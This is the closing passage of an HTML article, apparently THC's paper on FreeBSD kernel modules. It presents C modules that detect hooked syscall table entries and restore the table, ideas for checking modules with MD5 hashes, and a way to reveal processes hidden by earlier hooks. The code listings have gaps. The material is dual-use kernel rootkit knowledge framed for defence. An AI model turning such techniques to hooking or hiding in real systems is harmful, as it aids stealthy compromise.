4198 if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
4199 if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
4200 if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
4201 if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
4202 if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
4203 if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
4204 if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
4205 if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
4206 if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
4207 if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
4208 if (sysent[SYS_getdirentries].sy_call!=getdirentries)
4209 error[SYS_getdirentries]=1;
4210 if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
4211 if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
4212 if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
4213 if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
4214 if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
4215 if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
4216 if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
4217 if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
4218 if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
4219 if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
4220 if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
4221 if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
4222 if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
4223 if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
4224 if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
4225 if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
4226 if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
4227 if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
4228 if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
4229 if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
4230 if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
4231 if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
4232 if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
4233 error[SYS_clock_gettime]=1;
4234 if (sysent[SYS_clock_settime].sy_call!=clock_settime)
4235 error[SYS_clock_settime]=1;
4236 if (sysent[SYS_clock_getres].sy_call!=clock_getres)
4237 error[SYS_clock_getres]=1;
4238 if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
4239 if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
4240 if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
4241 if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
4242 error[SYS_openbsd_poll]=1;
4243 if (sysent[SYS_issetugid].sy_call!=issetugid)
4244 error[SYS_issetugid]=1;
4245 if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
4246 if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
4247 if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
4248 if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
4249 if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
4250 if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
4251 if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
4252 if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
4253 if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
4254 if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
4255 if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
4256 if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
4257 if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
4258 if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
4259 if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
4260 if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
4261 if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
4262 if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
4263 if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
4264 if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
4265 if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
4266 if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
4267 if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
4268 if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
4269 if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
4270 if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
4271 if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
4272 if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
4273 if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
4274 error[SYS_sched_setparam]=1;
4275 if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
4276 error[SYS_sched_getparam]=1;
4277 if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
4278 error[SYS_sched_setscheduler]=1;
4279 if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
4280 error[SYS_sched_getscheduler]=1;
4281 if (sysent[SYS_sched_yield].sy_call!=sched_yield)
4282 error[SYS_sched_yield]=1;
4283 if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
4284 error[SYS_sched_get_priority_max]=1;
4285 if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
4286 error[SYS_sched_get_priority_min]=1;
4287 if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
4288 error[SYS_sched_rr_get_interval]=1;
4289 if (sysent[SYS_utrace].sy_call!=utrace)
4290 error[SYS_utrace]=1;
4291 if (sysent[SYS_sendfile].sy_call!=sendfile)
4292 error[SYS_sendfile]=1;
4293 if (sysent[SYS_kldsym].sy_call!=kldsym)
4294 error[SYS_kldsym]=1;
4295 printf("RESULTS : Modified System Calls \n\n");
4296 printf("number new-addr\n");
4297 printf("------ --------\n");
4298 for (counter=0; counter <=399; counter++)
4299 if (error[counter]==1)
4300 printf("%d %p\n", counter, sysent[counter].sy_call);
4305 static moduledata_t syscall_mod = {
4311 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
4313 Nice code, isn't it :). Well I did not have the time, to write a nice wrapper.
4314 So this is just the plain idea filled in a module. <br>
4315 The idea : Every system call entry (sysent) has a function member (sy_call) as
4316 you know. In order to modify or intercept a system call a hacker has to change
4317 this address pointing to his own function. So we only have to check these
4318 addreesses against the system functions (like write for the SYS_write system
4319 call) to check the system.<br>
4320 Average hackers will be stopped with this way of checking system
4321 integrity, gurus won't (you can insert code without changing the system call
4322 table, I'm working on this at the moment -> look for further releases).
4325 <H3><A NAME="III.2."></A>2. How to restore old system calls</h3>
4327 After detecting a changed system call table it is a good idea to restore the
4329 I dont't present you the best solution : Start a module on system startup,
4330 copy all sysent fields into another sysent array. If you want to restore every
4331 sysent just copy the saved list to the modified sysent list.
4334 #include <sys/types.h>
4335 #include <sys/param.h>
4336 #include <sys/proc.h>
4337 #include <sys/module.h>
4338 #include <sys/sysent.h>
4339 #include <sys/kernel.h>
4340 #include <sys/systm.h>
4341 #include <sys/linker.h>
4342 #include <sys/sysproto.h>
4344 #include <sys/sysent.h>
4345 #include <sys/proc.h>
4346 #include <sys/syscall.h>
4347 #include <sys/file.h>
4348 #include <sys/malloc.h>
4349 #include <sys/types.h>
4350 #include <sys/lock.h>
4352 #define MAX_SYSCALL_NUM 337
4354 struct sysent save_sysent[MAX_SYSCALL_NUM];
4356 void restoresys(struct proc *p)
4359 printf("RESTORE\n");
4360 for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
4361 sysent[counter]=save_sysent[counter];
4365 static struct sysent restoresys_sysent = {
4371 * The function called at load/unload.
4374 dummy_handler (struct module *module, int cmd, void *arg)
4378 { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
4379 save_sysent[counter]=sysent[counter];
4380 sysent[210]=restoresys_sysent;
4386 static moduledata_t syscall_mod = {
4392 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
4395 This module should be loaded at system startup (the best would be loading it
4396 before the first connect to the 'hostile' net). Of course, you should add
4397 hiding features to this module. This will also prevent hackers from easily
4398 manipulate your own sysent restore list.
4401 <H3><A NAME="III.3."></A>3. General ideas for using MD5 Hashes </h3>
4403 Ok the latter two sections explained how to detect and repair the damage any
4404 hostile module could do, but what about prevention.
4405 My Linux article used a passworded createmodule() system call. This time
4406 you could catch kldload() in order to check the module. Note : I'm not sure
4407 at the moment, but I think catching this system call is not enough, I think
4408 it's possible to load a module without the kldstuff; just an idea.<br>
4409 This time we could use a MD5 hash (digest). The function (macros) we need are
4410 explained in the MD5 man page (section 9). Take a look at those function and
4411 you'll recognize how easy it is to implement. These macros help us to get a
4412 digest on a module someone wants to load on our system. You only have to hard
4413 code some hashes into your kernel for checking the loaded ones. The rest
4417 <H3><A NAME="III.4."></A>4. How to see a hidden process</h3>
4419 As I said in part I of this paper every process is saved in the allproc
4420 list which consists of lots of proc structure each holding one process running
4421 on the system. I also said that it's impossible to delete a process from thist
4422 list (scheduling, timing, etc.) so we patched the sysctl system call to hide a
4423 certain process. <br>
4424 This means that we could write some kernel code (module) which will print the
4425 whole allproc list including the process to hide. The code for this module
4426 was already shown in I.7.1.
4429 <H3><A NAME="III.5."></A>5. Last words</h3>
4431 Every idea mentioned in this part will stop most (!!) attacks on your system
4432 via kernel modules. Of course, you have to handle things like reboots etc. for
4433 making everything a bit more secure.<br>
4434 BUT any person who really knows the kernel and the system will easily work
4435 around those protections schemes... Bear in mind : It's always harder to
4436 secure a system than to hack it.
4439 <H3><A NAME="IV."></A>IV. Last things to mention</h3>
4442 <H3><A NAME="IV.1."></A>1. What about OpenBSD and NetBSD</h3>
4445 At the moment I have no running OpenBSD or NetBSD system, but I took a very
4446 brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in
4447 former releases. The rest of the kernel is very similar to FreeBSD, so I think
4448 there should be no big problems porting the modules in this text to OpenBSD or
4449 NetBSD. THC will work on this, but I really can't tell when we are finished...
4452 <H3><A NAME="IV.2."></A>2. Resources</h3>
4457 http://www.freebsd.org : everything you need<br>
4458 http://www.thc.org : THC Homepage (Linux LKM article and lots of more!)<br>
4463 'The Design and Implementation of the 4.4BSD Operating System' (Addison
4464 Wesley) : One of the best books I know, a bit old but still useful.
4467 <H3><A NAME="IV.3."></A>3. Greetings</h3>
4470 <b>THC, ADM, ech0, deep, CCC</b><br>
4472 <i>personal</i> : <br>
4473 <b>van Hauser</b><br>
4474 -> thanks for the idea to write this article; and for answering lots of
4477 -> I got your mails :) ext2 fs text is really nice<br>
4478 <b>mindmaniac</b><br>
4479 -> again a big thanks for starting the whole thing...<br>
4480 <b>Solar Designer</b><br>
4481 -> there's only one word for you : *ELITE*. The next release will deal with the
4482 other kernel stuff, perhaps I'll need some help ;)<br>
4484 -> what would the world be without bugtraq<br>